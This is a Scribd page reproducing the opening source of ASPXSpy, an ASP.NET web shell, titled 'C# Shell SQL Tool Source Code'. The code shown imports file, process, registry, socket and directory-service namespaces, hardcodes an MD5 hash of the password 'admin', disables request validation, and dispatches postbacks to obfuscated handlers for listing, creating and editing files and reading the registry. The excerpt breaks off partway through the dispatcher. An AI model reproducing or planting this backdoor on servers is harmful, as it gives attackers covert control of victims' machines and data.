0% found this document useful (0 votes)
98 views

C# Shell SQL Tool Source Code

This document contains code for an ASP.NET web page that imports various namespaces and assemblies related to file system, network, and registry access. It defines variables for password, tool name, and connection objects. The page load event handler calls methods for initializing connections and checking permissions before allowing access to methods for listing, reading, creating, and editing files, directories, and registry entries based on postback values.

Uploaded by

Rassoul SOW
Copyright
© © All Rights Reserved
Available Formats
Download as RTF, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
98 views

C# Shell SQL Tool Source Code

This document contains code for an ASP.NET web page that imports various namespaces and assemblies related to file system, network, and registry access. It defines variables for password, tool name, and connection objects. The page load event handler calls methods for initializing connections and checking permissions before allowing access to methods for listing, reading, creating, and editing files, directories, and registry entries based on postback values.

Uploaded by

Rassoul SOW
Copyright
© © All Rights Reserved
Available Formats
Download as RTF, PDF, TXT or read online on Scribd
You are on page 1/ 3

1 <%@ Page Language="C#" Debug="true" trace="false" validateRequest="false"

EnableViewStateMac="false" EnableViewState="true"%>
2 <%@ import Namespace="System.IO"%>
3 <%@ import Namespace="System.Diagnostics"%>
4 <%@ import Namespace="System.Data"%>
5 <%@ import Namespace="System.Management"%>
6 <%@ import Namespace="System.Data.OleDb"%>
7 <%@ import Namespace="Microsoft.Win32"%>
8 <%@ import Namespace="System.Net.Sockets" %>
9 <%@ import Namespace="System.Net" %>
10 <%@ import Namespace="System.Runtime.InteropServices"%>
11 <%@ import Namespace="System.DirectoryServices"%>
12 <%@ import Namespace="System.ServiceProcess"%>
13 <%@ import Namespace="System.Text.RegularExpressions"%>
14 <%@ Import Namespace="System.Threading"%>
15 <%@ Import Namespace="System.Data.SqlClient"%>
16 <%@ import Namespace="Microsoft.VisualBasic"%>
17 <%@ Assembly
Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=
B03F5F7F11D50A3A"%>
18 <%@ Assembly
Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03
F5F7F11D50A3A"%>
19 <%@ Assembly
Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B0
3F5F7F11D50A3A"%>
20 <%@ Assembly
Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken
=b03f5f7f11d50a3a"%>
21 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
22 <script runat="server">
23 /*
24 Thanks Snailsor,FuYu,BloodSword,Cnqing,
25 Code by Bin
26 Make in China
27 Blog: http://alikaptanoglu.blogspot.com
28 E-mail : [email protected]<script cf-hash="f9e31"
type="text/javascript">
29 /* <![CDATA[ */!function(){try{var t="currentScript"in document?
document.currentScript:function(){for(var
t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-
hash"))return t[e]}();if(t&&t.previousSibling){var
e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a)
{for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-
n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.create
TextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */</script>
30 */
31 public string Password="21232f297a57a5a743894a0e4a801fc3";//admin
32 public string vbhLn="ASPXSpy";
33 public int TdgGU=1;
34 protected OleDbConnection Dtdr=new OleDbConnection();
35 protected OleDbCommand Kkvb=new OleDbCommand();
36 public NetworkStream NS=null;
37 public NetworkStream NS1=null;
38 TcpClient tcp=new TcpClient();
39 TcpClient zvxm=new TcpClient();
40 ArrayList IVc=new ArrayList();
41 protected void Page_load(object sender,EventArgs e)
42 {
43 YFcNP(this);
44 fhAEn();
45 if (!pdo())
46 {
47 return;
48 }
49 if(IsPostBack)
50 {
51 string tkI=Request["__EVENTTARGET"];
52 string VqV=Request["__File"];
53 if(tkI!="")
54 {
55 switch(tkI)
56 {
57 case "Bin_Parent":
58 krIR(Ebgw(VqV));
59 break;
60 case "Bin_Listdir":
61 krIR(Ebgw(VqV));
62 break;
63 case "kRXgt":
64 kRXgt(Ebgw(VqV));
65 break;
66 case "Bin_Createfile":
67 gLKc(VqV);
68 break;
69 case "Bin_Editfile":
70 gLKc(VqV);
71 break;
72 case "Bin_Createdir":
73 stNPw(VqV);
74 break;
75 case "cYAl":
76 cYAl(VqV);
77 break;
78 case "ksGR":
79 ksGR(Ebgw(VqV));
80 break;
81 case "SJv":
82 SJv(VqV);
83 break;
84 case "Bin_Regread":
85 tpRQ(Ebgw(VqV));
86 break;

You might also like